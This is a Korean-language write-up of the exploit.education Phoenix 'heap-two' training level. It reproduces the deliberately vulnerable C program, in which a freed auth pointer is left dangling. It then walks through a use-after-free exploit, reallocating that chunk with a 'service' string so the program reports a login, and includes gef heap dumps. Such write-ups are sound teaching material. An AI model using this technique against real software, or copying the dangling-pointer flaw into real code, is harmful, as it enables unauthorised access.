[Phoenix] Heap two

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/heap-two, by https://exploit.education
 *
 * This level examines what can happen when heap pointers are stale. This level
 * is completed when you see the "you have logged in already!" message.
 *
 * My dog would, without fail, always chase people on a bike. As soon as he saw
 * someone, he would immediately take off. I spoke to the vet to see if they
 * could be of any help, but they weren't. I spoke to several different dog
 * behaviouralists to see if they have any ideas on how to stop getting him
 * chasing people on a bike. The dog behaviouralists were unable to help. I
 * searched high and low to work out ways to find a way to stop him from
 * chasing people on a bike, to no avail. Eventually, I had no choice but to
 * take the bike away from him.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv) {
  char line[128];

  printf("%s\n", BANNER);

  while (1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if (fgets(line, sizeof(line), stdin) == NULL) break;

    if (strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(struct auth));
      memset(auth, 0, sizeof(struct auth));
      if (strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if (strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if (strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
    }
    if (strncmp(line, "login", 5) == 0) {
      if (auth && auth->auth) {
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}

 

2.2. 분석

main 함수에서 auth 구조체와 service 포인터 변수의 주소를 출력해주고 값을 line 변수에 받는다.

만일 받아들인 값이 "auth "라면 auth 구조체를 heap 할당하고 "auth " 이후의 값을 30 bytes만큼 auth 구조체의 name 변수에 복사한다.

만일 받아들인 값이 reset이라면 auth heap을 free 한다.

받아들인 값이 service라면 service 이후의 값을 service 포인터 변수에 넣는다.

받아들인 값이 login이고 auth의 값이 auth->auth 값이 null이 아니라면 you have logged in already를, 아니라면 please enter tour password를 출력한다.

 

목표는 you have logged in already 메세지를 출력하는 것. (주석 참조)

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

우선 strdup는 heap에 새로운 영역을 할당한 다음 값을 복사한다.

strdup() — 스트링 복제 - IBM Documentation

strdup() — 스트링 복제

더불어 auth 변수는 auth 구조체의 주소를 가지는데, free시 이를 초기화하지 않아 use after free buf가 발생한다.

 

3.2. 공격 준비

취약점에 따라 auth heap 할당 및 free 후 동일 크기의 heap을 재 할당하면 기존 auth heap 위치에 새로운 영역이 할당될 것이다.

 이 때 auth 변수는 기존의 auth heap의 주소를 그대로 가지고 있을 것이기에 추후 호출 시 해당 값을 불러올 것이다.

 

4. exploit

우선 auth를 aaaaaa과 함께 할당해보면 그 크기는 아래와 같다.

[ auth = 0, service = 0 ]
auth AAAAAA
...
gef> x/40gx 0x600e10
0x600e10 <auth>:        0x0000000000600e40      0x0000000000000000
0x600e20:       0x0000000000000000      0x0000000000000000
0x600e30:       0x0000000000000001      0x0000000000000041
0x600e40:       0x000a414141414141      0x0000000000000000
0x600e50:       0x0000000000000000      0x0000000000000000
0x600e60:       0x0000000000000000      0x0000000000000000
0x600e70:       0x0000000000000041      0x0000000000000180
0x600e80:       0x00007ffff7ffbb68      0x00007ffff7ffbb68

free 후

[ auth = 0x600e40, service = 0 ]
reset
...
gef> x/40gx 0x600e10
0x600e10 <auth>:        0x0000000000600e40      0x0000000000000000
0x600e20:       0x0000000000000000      0x0000000000000000
0x600e30:       0x0000000000000001      0x00000000000001c0
0x600e40:       0x00007ffff7ffbb98      0x00007ffff7ffbb98
0x600e50:       0x0000000000000000      0x0000000000000000
0x600e60:       0x0000000000000000      0x0000000000000000
0x600e70:       0x0000000000000041      0x0000000000000181
0x600e80:       0x00007ffff7ffbb68      0x00007ffff7ffbb68

service로 동일 크기를 할당하며 auth 구조체의 auth 변수의 위치에 값을 쓰면

[ auth = 0x600e40, service = 0 ]
serviceBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
...
─
gef> x/40gx 0x600e10
0x600e10 <auth>:        0x0000000000600e40      0x0000000000600e40
0x600e20:       0x0000000000000000      0x0000000000000000
0x600e30:       0x0000000000000001      0x0000000000000041
0x600e40:       0x4242424242424242      0x4242424242424242
0x600e50:       0x4242424242424242      0x4242424242424242
0x600e60:       0x0000000000000a42      0x0000000000000000
0x600e70:       0x0000000000000041      0x0000000000000180
0x600e80:       0x00007ffff7ffbb68      0x00007ffff7ffbb68

 

[ auth = 0x600e40, service = 0x600e40 ]
login
you have logged in already!